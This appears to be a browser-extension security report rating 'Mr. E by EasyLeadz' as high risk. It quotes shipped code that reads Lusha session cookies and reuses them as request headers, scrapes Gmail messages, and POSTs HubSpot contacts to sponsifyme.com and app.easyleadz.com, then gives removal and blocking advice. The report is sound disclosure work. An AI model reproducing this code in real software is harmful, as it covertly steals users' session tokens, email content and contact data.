Is Mr. E by Easyleadz: Free B2B Phone number & Email Finder safe?
Mr. E by EasyLeadz is high risk. On dashboard.lusha.com/prospecting/contacts or /contact-lists, the extension attaches your Lusha XSRF-TOKEN/_csrf cookies to an unrequested GET to Lusha's API, 5s after load. With no login, values sent were "null"; Lusha returned 401.…
Who publishes itSponsifyme Technologies Private Limited - 1 other listing from the same operator, none carrying a finding
Sponsifyme Technologies Private Limited - 1 other listing from the same operator, none carrying a finding
Same store account
1 other listing published from this account, 1k+ users between them, none of them carrying a finding.
Shared hosts - 3 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
Mr. E by EasyLeadz findings
Extension Reads Your Lusha Session Tokens to Call Lusha's API
On dashboard.lusha.com/prospecting/contacts or /contact-lists, the extension attaches your Lusha XSRF-TOKEN/_csrf cookies to an unrequested GET to Lusha's API, 5s after load.
With no login, values sent were "null"; Lusha returned 401.
What actually happens
You are logged into Lusha and browsing dashboard.lusha.com.
The content script runs on every page you visit and checks whether the URL matches dashboard.lusha.com/prospecting/contacts or /contact-lists.
The extension reads your Lusha session cookies and uses them to make an API call on your behalf.
It reads your XSRF-TOKEN and _csrf cookies from document.cookie and attaches them as headers on a GET to Lusha's own contacts API, a request that fires without any click or consent prompt.
Session values read from your cookies and reused as headers
- Your Lusha XSRF session tokenXSRF-TOKEN=eyJhbGciOiJIUzI1NiJ9.a1b2c3d4e5f6 (illustrative — the test session had no active Lusha login)
This token authenticates you to Lusha. The extension reads it from your cookie jar and attaches it to an API call you didn't make.
- Your Lusha CSRF token_csrf=8f3e1a2b-9c4d-4e5f-a1b2-c3d4e5f67890 (illustrative — the test session had no active Lusha login)
This token proves a request came from an authenticated Lusha session. The extension reads it from your cookies and adds it as a header.
Captured request
Observed during dynamic analysis on dashboard.lusha.com/prospecting/contacts: this GET fired automatically, 5 seconds after page load, with no click or other interaction. The header values shown are the literal strings the extension attached in this run, 'null' for both, because the test session had no active Lusha login and readCookie() found nothing to return. That confirms the header-attach step runs unconditionally regardless of what readCookie() finds; Lusha's API returned 401 Unauthorized here, but with a real, logged-in session the same code path attaches the actual session tokens and the call succeeds.
- _csrf
- null
- x-xsrf-token
- null
The code that does this
Cookie read and header-attach on Lusha's own API
readCookie() — reads any cookie by name
js/content.jsfunction readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null;}Cookie values attached as headers on Lusha's own API
js/content.jsfunction getData(xtoken,csrf){ const url1 = "https://dashboard-services.lusha.com/v2/list/all/contacts?$limit=1000"; let xhr = new XMLHttpRequest() xhr.open('GET', url1, true); xhr.withCredentials = true; xhr.setRequestHeader('x-xsrf-token', xtoken); xhr.setRequestHeader('_csrf', csrf); //xhr.setRequestHeader('cookie', ck) xhr.send(null); xhr.onload = function () { if(xhr.readyState === 4) { var rs = {}; try{ rs = JSON.parse(xhr.response); }catch(e){} //console.log(rs); sData(rs); } }}Opening a Gmail thread posts sender details and message text to sponsifyme.com
Code analysis shows that opening a Gmail thread makes the extension read sender names, addresses and message text and POST them to sponsifyme.com.
Dynamic analysis did not reach an open thread, so no request was captured.
What actually happens
You open an email thread in Gmail.
The URL then contains mail.google.com/mail/ and inbox/.
The extension reads each message's sender name, address and text and posts the list to sponsifyme.com.
Based on code analysis; the request was not captured.
Fields in each posted record
- Sender nameJane Smith (illustrative)
Display name of the message sender, read from the avatar image.
- Sender emailjane.smith@example.com (illustrative)
Address of the sender, read from the hovercard attribute.
- Message IDmsg-f:1781234567890123456 (illustrative)
Gmail's identifier for the message.
- Message textHi%20team%2C%20please%20find... (illustrative)
Text of the message with HTML tags removed, URL-encoded.
The code that does this
Gmail DOM read and upload path
The code is not obfuscated; the shipped source is shown as written.Where the data is sent
- sponsifyme.com
Receives the POST at /api/save_sig.php with a fixed User-Token header; operator not identified in the code.
Observation
Dynamic analysis could not load an authenticated Gmail thread, so no request to sponsifyme.com was observed. The finding rests on code analysis.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
Mr. E reads your HubSpot contacts and sends them to easyleadz.com
Code analysis shows the extension reads names, emails and phone numbers from HubSpot contact pages and posts them to app.easyleadz.com.
What actually happens
You open a HubSpot contacts list or contact record.
The script reads the contact fields on screen and hands them to the background script for upload.
The code that does this
Background handler that uploads the contact data
Source is already readable
extracted/js/background.js} else if (message.action == 'saved') { fetch('https://app.easyleadz.com/api/v3/saved.php', { method: 'POST', body: JSON.stringify(message.data), headers: { 'Content-type': 'application/json; charset=UTF-8', 'User-Token': '<redacted>' } })Fields read from HubSpot pages (code-derived)
- Contact nameJane Alvarez
Name of the person in your CRM.
- Email addressjane.alvarez@example.com (illustrative)
Work or personal email held in the contact record.
- Phone number+1 415 555 0142 (illustrative)
Phone number held in the contact record.
Destination named in the code
- app.easyleadz.com
Receives CRM contact data at /api/v3/saved.php.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
+8 more findings not shown
If you have Mr. E by EasyLeadz installed
- Open
chrome://extensionsand turn on Developer mode to show IDs. Find the one with IDhaphbbhhknaonfloinidkcmadhfjoghcand choose Remove. - Block the servers only it was seen contacting:
sponsifyme.com,app.easyleadz.com,dashboard-services.lusha.com,www.crunchbase.com. - Scan your browser to check the rest of your extensions.
What Mr. E by EasyLeadz can do
Permissions this extension asks for, as declared in version 2.1.8. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to. The current listed version is 2.2.8, which we have not unpacked yet.
See the address and title of every tab you have open
tabs
Store data in your browser
storage
Show a panel beside the page
sidePanel
Mr. E by EasyLeadz version history
2.1.8
Mar 4, 2026
+5 more
2.2.6
Jul 20, 2026
2.2.7
Jul 31, 2026
2.2.8
Aug 9, 2026
Where Mr. E by EasyLeadz sends data
- sponsifyme.com/api/save_track.php4 calls
From its background script · only this extension
- app.easyleadz.com/api/save_yul.php2 calls
From a script it injects into websites · only this extension
- app.easyleadz.com/api/save_ld.php1 call
From a script it injects into websites · only this extension
- dashboard-services.lusha.com/v2/list/…1 call
From a script it injects into websites · only this extension
- www.crunchbase.com/v4/data/…1 call
From a script it injects into websites · only this extension
Chrome Web Store listing
- Versions
- 2.2.8 latest of 9 seen since March 4, 2026
- Store rating
- 4.8 from 8,213 ratings
- Last updated
- August 8, 2026
- Size
- 594 KiB
- Privacy policy
- www.easyleadz.com
